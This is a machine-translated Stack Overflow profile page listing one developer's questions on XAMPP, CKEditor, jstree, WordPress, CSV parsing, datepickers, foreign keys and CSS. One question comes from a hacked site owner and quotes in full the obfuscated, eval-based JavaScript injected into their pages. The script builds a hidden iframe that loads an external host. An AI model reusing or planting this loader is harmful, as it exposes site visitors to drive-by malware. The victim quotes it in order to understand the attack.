小编Gaz*_*ion的帖子

设置新别名时,我获得Access Forbidden(错误403)

我正在运行Windows 7,最近安装了XAMPP来构建开发环境.我在服务器方面做得不好,所以我在为项目设置别名时遇到了一些问题.

到目前为止XAMPP正在运行,如果我去localhost,我会收到XAMPP欢迎页面.我在apache install的"conf"文件夹中创建了一个"别名"文件夹.在那里我添加了dev.conf,其中包含以下内容:

<Directory "C:\Users\my_user\My%20Documents\Aptana%20Studio%203%20Workspace\project">
    Options Indexes FollowSymLinks Includes ExecCGI
    AllowOverride All
    Order allow,deny
    Allow from 127.0.0.1
</Directory>

Alias /dev "C:\Users\my_user\My%20Documents\Aptana%20Studio%203%20Workspace\project"
Run Code Online (Sandbox Code Playgroud)

但是当我去"localhost/dev"时,我得到:

访问被禁止!

您无权访问请求的对象.它受读保护或服务器无法读取.

如果您认为这是服务器错误,请与网站管理员联系.

错误403

我尝试谷歌搜索,我发现其他类似的问题,但我似乎无法搞清楚.有人说你必须告诉它有权限,但在我指定的conf文件中允许它来自127.0.0.1.也许这是因为我的路径中有空格(虽然一些谷歌搜索告诉我%20的工作).我曾设法创建一个到不同的文件夹并复制粘贴工作的文件夹并更改了别名和路径并且它已经破坏所以它告诉我它可能与其中任何一个有关.

我查看了我的日志文件夹,发现以下行:

[Tue Dec 13 14:59:20 2011] [错误] [client :: 1]客户端被服务器配置拒绝:C:/ Users/my_user/My%20Documents

我不确定它是否会因为错误消息只能达到一定的长度而被切断,但这绝对不是我在dev.conf文件中添加的路径,我希望这可以让一些人更清楚,因为我得到了非常沮丧,我不知道该怎么办.

xampp

41
推荐指数
5
解决办法
17万
查看次数

使用Jquery从CKEditor检测onChange事件

我正在使用CKEditor和jQuery,每当用户更改字段的值时,我都想将标志切换为true.其中一个字段是CKEditor实例.

所有具有"wysiwyg"类的textareas都会转换为CKEditors但不知何故$('.wysiwyg').change()事件永远不会被检测到.我做了一些谷歌搜索,但关键字组合似乎只带来无关的结果(我的谷歌很糟糕).

谢谢你的帮助 :)

编辑:

for (var i in CKEDITOR.instances) {
        CKEDITOR.instances[i].on('click', function() {alert('test 1 2 3')});
    }
Run Code Online (Sandbox Code Playgroud)

我尝试了上面的代码,但它不起作用.它没有给我一个错误意味着它找到了CKEditor对象,但由于某种原因,监听器没有附加到它?

另外,如果我用alert(CKEDITOR.instances[i].name);它替换事件附件,它会提醒我的textarea的名字,所以我知道我不是试图将click事件附加到任何东西:)

jquery ckeditor dom-events

39
推荐指数
6
解决办法
7万
查看次数

如何更改jstree中的图标?

我有以下代码:

$('.wpFolders.co_files').bind('select_node.jstree', function (event, data) {
            getFileById(data.args[0].hash.replace('#', ''));
        }).jstree({
            'plugins' : ['html_data','themes','ui','types'],
            'ui' : {
                'select_limit' : 1
            },
            'core' : {
                'animation' : 0
            },
            'types': {
                'default' : {
                    'icon' : {
                        'image' : '/admin/views/images/file.png'
                    }
                }
            }
        });
Run Code Online (Sandbox Code Playgroud)

我有一个基本的无序列表,我希望显示为文件列表.我正在尝试使用"类型"来更改图标,但我不能为我的生活找出如何做到这一点.我检查了他们的文档链接,即使使用几乎相同的代码似乎也没有发生.

根据我对上面代码的理解,我的树的默认类型应该有我指定的图标但没有任何反应,我得到的是默认文件夹图标.

有任何想法吗?很抱歉,如果问题看起来很基本,但我发现在尝试做基本的事情时很难遵循文档.:)

javascript jstree

28
推荐指数
6
解决办法
7万
查看次数

WordPress和调用未定义的函数add_menu_page()

我最近进入了WordPress插件开发,我想添加一个菜单页面(左侧菜单中的链接).以前的SO问题和WordPress编解码器说它就像调用一样简单:

add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $position );
Run Code Online (Sandbox Code Playgroud)

但是当我在我的插件设置文件中尝试这个时,它告诉我该函数是未定义的:

PHP Fatal error:  Call to undefined function add_menu_page()
Run Code Online (Sandbox Code Playgroud)

根据文档,这似乎是一件非常简单的事情,但我完全感到困惑.任何帮助将非常感激 :)

php wordpress wordpress-plugin

18
推荐指数
2
解决办法
2万
查看次数

网站刚被攻击,javascript注入了标题,这是什么意思?

我们的一个网站最近遭到攻击,其中修改了多个php文件.这个修改在页面顶部注入了javascript,但在base64解码完所有后,我遇到了以下内容,我不知道如何继续.

有没有人对这些东西有任何经验,无论如何要知道他们想要达到的目的是什么?

<script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:"");for(;573!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>
Run Code Online (Sandbox Code Playgroud)

美化:

i = 0;
try {
    avasv = prototype;
} catch (z) {
    h = "harCode";
    f = ['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');
    v = "e" + "va";
}
if (v) e = window[v + "l"];
try {
    q = document.createElement("div");
    q.appendChild(q + "");
} catch (qwg) {
    w = f;
    s = [];
}
r = String;
z = ((e) ? h : "");
for (; 573 != i; i += 1) {
    j = i;
    if (e) …
Run Code Online (Sandbox Code Playgroud)

javascript security

14
推荐指数
2
解决办法
2034
查看次数

fgetcsv()在行的开头忽略特殊字符!

我有一个简单的脚本,它接受一个CSV文件并将每一行读入一个数组.然后,我循环遍历第一行的每一列(在我的情况下,它包含调查问题)并打印出来.调查是法语的,每当问题的第一个字符是特殊字符(é,ê,ç等)时,fgetcsv就会省略它.

值的中间的特殊字符仅在它们是第一个字符时才受影响.

我试着调试这个,但我很困惑.我做了一个var_dump与文件的内容,字符肯定在那里:

var_dump(utf8_encode(file_get_contents($_FILES['csv_file']['tmp_name'])));
Run Code Online (Sandbox Code Playgroud)

这是我的代码:

if(file_exists($_FILES['csv_file']['tmp_name']) && $csv = fopen($_FILES['csv_file']['tmp_name'], "r"))
    {
        $csv_arr = array();

        //Populate an array with all the cells of the CSV file
        while(!feof($csv))
        {
            $csv_arr[] = fgetcsv($csv);
        }

        //Close the file, no longer needed
        fclose($csv);

        // This should cycle through the cells of the first row (questions)
        foreach($csv_arr[0] as $question)
        {
            echo utf8_encode($question) . "<br />";
        }

    }
Run Code Online (Sandbox Code Playgroud)

php csv fgetcsv

11
推荐指数
2
解决办法
1万
查看次数

JQuery Datepicker,无法手动触发onSelect事件!

我正在使用jquery的datepicker,只要从内联datepicker对象中选择日期,就会从ajax调用中填充项列表.该脚本工作正常,但我无法触发onSelect事件来填充我的初始项目列表.

我可以通过最初使用php填充列表来解决这个问题,但我真的想避免这种情况.

    $(document).ready(function(){

        //create date pickers
    $("#date_calendar").datepicker(
  { 
        changeMonth: true,
        changeYear: true,
        dateFormat: 'yy-mm-dd',
        defaultDate: $.datepicker.parseDate("y-m-d", $('#date').val()),
        onSelect: function(dateText, inst)
            {
                alert('onSelect triggered! Yay!');
                $('#date').val($.datepicker.formatDate("yy-mm-dd", $('#date_calendar').datepicker('getDate')));

                // Ajax for populating days when selected
                $.post(
                    "server_requests/show_day.php",
                        {
                        date: $('#date').val(),
                        user_id: $('#user_id').val()
                        },
                    function(data)
                    {
                        //return function
                        $('#my_day_tasks').html(data.resultTable);
                    },
                    "json"
                );
            }
    }).disableSelection();

    $("#date_calendar").trigger('onSelect');

});
Run Code Online (Sandbox Code Playgroud)

任何帮助表示赞赏:)

jquery datepicker event-handling

9
推荐指数
2
解决办法
4万
查看次数

您不使用外键的原因?[php + MySQL]

我正在研究我公司用于创建调查的旧Web应用程序.我通过mysql命令提示符查看了数据库模式,并认为这些表看起来非常可靠.虽然我不是数据库专家,但我非常精通其背后的理论(在我的软件工程专业中学习了一些数据库设计课程).

话虽这么说,我将create语句转储到一个SQL文件中并将它们导入MySQL Workbench,看到它们没有使用任何"实际"外键.它们将像使用FK一样存储另一个表的主键,但它们不会将其声明为一个.

因此,看看他们的DB是如何设计的,就像我通过我所知道的那样(减去FK问题),我想知道可能背后的原因.这是懒惰编程的情况还是通过编程方式执行所有错误检查可以获得一些性能提升?

如果您想要一个例子,他们基本上有调查,调查有一系列问题.一个问题是调查的一部分,所以它在一个专栏中保留了它的PK.这几乎是它,但他们到处使用它.

我很感激任何见解:)(我知道这个问题可能没有正确/错误的答案,但我正在寻找更多关于为什么他们会这样做的信息,因为自从我们开始使用它以来这个系统一直很稳固所以我被引导相信这些家伙知道他们在做什么

php mysql foreign-keys

9
推荐指数
1
解决办法
1017
查看次数

克隆datepicker对象[JQuery]

我有一个输入字段,我通过css类定义为datepicker.我现在想要克隆这个输入字段并使其克隆输入也是datepickers.

从各种来源阅读后,我开始相信以下代码应该可以工作,但事实并非如此.我希望也许有人可以帮我搞清楚我做错了什么:)

<input type="text" id="date" name="date" class="calendar" />
<input type="button" id="clone" name="clone" value="Clone dates" />
Run Code Online (Sandbox Code Playgroud)

这是javascript:

<script type="text/javascript">
$(document).ready(function(){

 $('.calendar').datepicker();

 $('#clone').click(function()
 {
  $('.calendar:last').clone().append().insertAfter('.calendar:last');
 });

});

</script>
Run Code Online (Sandbox Code Playgroud)

到目前为止,输入字段是重复的,并在最后一个实例之后插入,但是datepicker不起作用.我尝试将'true'传递给克隆函数,但它给了我一个错误,说明没有定义.

任何帮助,将不胜感激 :)

jquery clone jquery-ui-datepicker

8
推荐指数
2
解决办法
9230
查看次数

:之前和之后:html标签上的伪元素在Chrome中不稳定

我正在尝试学习如何使用:before和:after伪元素.我试图在页面底部添加黑色背景作为粘性页脚,但它似乎没有正常工作.

基本上我有一个重复的图像作为HTML元素的背景,然后我添加一个绝对div位于底部与纯黑色背景.

我只是想指出这是一个学习实验而不是我是如何实现同样的效果,但我正在尝试的是在Firefox中工作而不是在Chrome中工作!

这是我的CSS:

html {
    background-image: url('images/template/html-bg.jpg');
    background-position: top left;
    background-repeat: repeat-x;
    background-color: #0e0e0e;
    height: 100%;
    position: relative;
}

html:before {
    content: "";
    display: block;
    background-color: #000;
    width: 100%;
    height: 138px;
    bottom: 0px;
    position: absolute;
}
Run Code Online (Sandbox Code Playgroud)

在FF中,页面按照我的预期呈现,但在Chrome中,整个页面都是黑色的...任何想法,我做错了吗?

css google-chrome pseudo-element

8
推荐指数
1
解决办法
1万
查看次数